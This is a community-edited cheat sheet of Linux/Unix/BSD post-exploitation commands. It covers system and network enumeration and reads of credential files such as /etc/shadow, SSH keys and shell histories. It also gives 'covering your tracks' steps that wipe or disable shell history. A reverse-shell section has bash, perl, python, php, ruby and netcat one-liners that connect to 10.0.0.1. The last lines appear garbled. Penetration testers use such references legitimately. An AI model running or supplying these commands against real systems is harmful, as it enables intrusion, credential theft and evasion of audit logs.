Linux/Unix/BSD Post-Exploitation Command List.

If for any reason you cannot access/edit these files in the future, please contact mubix@hak5.org

You can download these files using Google Doc's File->Download As method.

If you are viewing this on anything other than Google Docs then you can get access to the latest links to the the Linux/Unix/BSD, OSX, and Windows docs here: https://bitly.com/nuc0N0

DISCLAIMER: Anyone can edit these docs, and all that entails and infers

Table of Contents

Blind Files

(things to pull when all you can do is blindly read) LFI/dir traversal (Don't forget %00!)

File	Contents and Reason
/etc/resolv.conf	Contains the current name servers (DNS) for the system. This is a global read file that is less likely to trigger IDS alerts than /etc/passwd
/etc/motd	Message of the Day.
/etc/issue	Debian - current version of distro
/etc/passwd	List of users as well
/etc/shadow	List of users' password hashes (requires root)

System

Command	Description and/or Reason
uname -a	Prints the kernel version and...
ps aux	
‘	
top -n 1 -b	
id	
arch	
w	
who -a	

- gcc -v
- mysql --version
- perl -v
- ruby -v
- python --version

- df -k
- mount
- last -a
- lastlog
- lastlogin (*bsd)
- getenforce
- dmesg
- lspci
- lsusb
- lshw
- free -m
- cat /proc/cpuinfo
- cat /proc/meminfo
- du -h --max-depth=1 /
- which nmap (see if it's already installed)
- locate bin/nmap
- which nc (see if it's already installed)
- locate bin/<whatever you want>
- whoami
- jps -l
- java -version

Networking

- hostname -f
- ip addr show
- ifconfig -a
- route -n
- cat /etc/network/interfaces
- iptables -L -n
- iptables-save
- netstat -anop
- netstat -r
- netstat -nltupw (root with raw sockets)
- arp -a
- lsof -nPi

Configs

- ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
- cat /etc/issue{,.net}
- cat /etc/passwd
- cat /etc/shadow (gotta try..)
- cat /etc/shadow~ # (sometimes there when edited with gedit)

- cat /etc/master.passwd
- cat /etc/group
- cat /etc/hosts
- cat /etc/crontab
- cat /etc/sysctl.conf
- for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
- cat /etc/resolv.conf
- cat /etc/syslog.conf
- cat /etc/chttp.conf
- cat /etc/lighttpd.conf
- cat /etc/cups/cupsd.conf
- cat /etc/inetd.conf
- cat /opt/lampp/etc/httpd.conf
- cat /etc/samba/smb.conf
- cat /etc/openldap/ldap.conf
- cat /etc/ldap/ldap.conf
- pdbedit -L -w
- pdbedit -L -v
- cat /etc/exports
- cat /etc/auto.master
- cat /etc/auto_master
- cat /etc/fstab
- cat /etc/exports
- find /etc/sysconfig/ -type f -exec cat {} \;
- cat /etc/sudoers

Determine Distro:

- lsb_release -d # Generic for all LSB distros
- cat /etc/*release
- /etc/SUSE-release # Novell SUSE
- /etc/redhat-release, /etc/redhat_version # Red Hat
- /etc/fedora-release # Fedora
- /etc/slackware-release, /etc/slackware-version # Slackware
- /etc/debian_release, /etc/debian_version, # Debian
- /etc/mandrake-release # Mandrake
- /etc/sun-release # Sun JDS
- /etc/release # Solaris/Sparc
- /etc/gentoo-release # Gentoo
- /etc/lsb-release # ubuntu
- /etc/rc.conf # arch linux
- arch # on OpenBSD sample: OpenBSD.amd64
- uname -a (often hints at it pretty well)

Installed Packages

- rpm -qa --last | head
- yum list | grep installed
- dpkg -l
- dpkg -l |grep -i “linux-image”
- pkg_info # FreeBSD

Package Sources

- cat /etc/apt/sources.list
- ls -l /etc/yum.repos.d/
- cat /etc/yum.conf

Finding Important Files

- find /var/log -type f -exec ls -la {} \;
- ls -alhtr /mnt
- ls -alhtr /media
- ls -alhtr /tmp
- ls -alhtr /home
- cd /home/; tree
- ls /home/*/.ssh/*
- find /home -type f -iname '.*history'
- ls -lart /etc/rc.d/
- locate tar | grep [.]tar$
- locate tgz | grep [.]tgz$
- locate sql l grep [.]sql$
- locate settings | grep [.]php$
- locate config.inc | grep [.]php$
- ls /home/*/id*
- locate .properties | grep [.]properties # java config files
- locate .xml | grep [.]xml # java/.net config files
- find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm -4000 # find suids
- locate rhosts

Covering Your Tracks

- export HISTFILE=

This next one might not be a good idea, because a lot of folks know to check for tampering with this file,

and will be suspicious if they find out:

- rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
- touch ~/.bash_history (invasive)
- <space> history -c (using a space before a command)
- zsh% unset HISTFILE HISTSIZE
- t?csh% set history=0
- bash$ set +o history
- ksh$ unset HISTFILE

Actions Per User

- ls -alh /home/*/
- ls -alh /home/*/.ssh/
- cat /home/*/.ssh/authorized_keys
- cat /home/*/.ssh/known_hosts
- cat /home/*/.*hist*
- find -type f /home/*/.vnc /home/*/.subversion
- grep ^ssh /home/*/.*hist*
- grep ^telnet `/home/*/.*hist*
- grep ^mysql /home/*/.*hist*
- cat /home/*/.viminfo
- sudo -l # if sudoers is not readable, this sometimes works per user
- crontab -l
- cat /home/*/.mysql_history

Priv (sudo'd or as root)

- ls -alh /root/
- cat /etc/sudoers
- cat /etc/shadow
- cat /etc/master.passwd # OpenBSD
- cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
- lsof -nPi
- ls /home/*/.ssh/*

Reverse Shell

starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

- bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
- perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
- xterm -display 10.0.0.1:1
    - Listener- Xnest :1
    - Add permission to connect- xhost +victimIP

Fun if Win

If tux is a parallel O.S. installed with Windows and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing.

GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN

-=SYSTEM=-	
Command	**Expected and / or Sample Output**
uname -a	Linux kernel version, distribution
ps aux	List of running processes
id	List current user and group along with user/group id
w	Show about who is logged,they are doing
who -a	Print information about about users

cat /dev/core >/dev/audi
cat /dev/mem >/dev/audioo